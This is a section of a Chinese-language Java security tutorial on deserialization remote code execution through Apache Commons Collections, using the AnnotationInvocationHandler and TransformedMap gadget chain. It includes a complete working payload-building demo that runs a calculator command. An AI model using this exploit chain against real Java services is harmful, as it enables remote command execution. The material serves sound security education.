6. AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口，它还重写了readObject方法，在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法，从而也就触发了transform方法，完成了整个攻击链的调用。

AnnotationInvocationHandler代码片段：

package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    // 省去代码部分
  }
  // Java动态代理的invoke方法
  public Object invoke(Object var1, Method var2, Object[] var3) {
    // 省去代码部分
  }
  private void readObject(ObjectInputStream var1) {
      // 省去代码部分
  }
}

readObject方法:
**
上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量，memberValues的值是在var1.defaultReadObject();时反序列化生成的，它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务，对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链，从而也就实现了远程命令执行了。

创建AnnotationInvocationHandler对象：
因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类，在外部我们无法通过类名创建出AnnotationInvocationHandler类实例，所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象：

// 创建Map对象
Map map = new HashMap();
// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名，比如创建
// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target，那么map
// 的key必须是@Target注解中的方法名，即：value，否则在反序列化AnnotationInvocationHandler
// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于：
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象，我们只需要将这个instance序列化后就可以得到用于攻击的payload了。
完整的攻击示例Demo:

package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {
    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
//        // 遍历Map元素，并调用setValue方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
//            entry.setValue("test");
//        }
//
////        transformedMap.put("v1", "v2");// 执行put也会触发transform
        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            // 设置构造方法的访问权限
            constructor.setAccessible(true);
            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于：
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);
            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);
            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();
            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();
            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组：" + Arrays.toString(bytes));
            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);
            // 模拟远程的反序列化过程
            in.readObject();
            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

反序列化RCE调用链如下：

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式，ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式：LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable。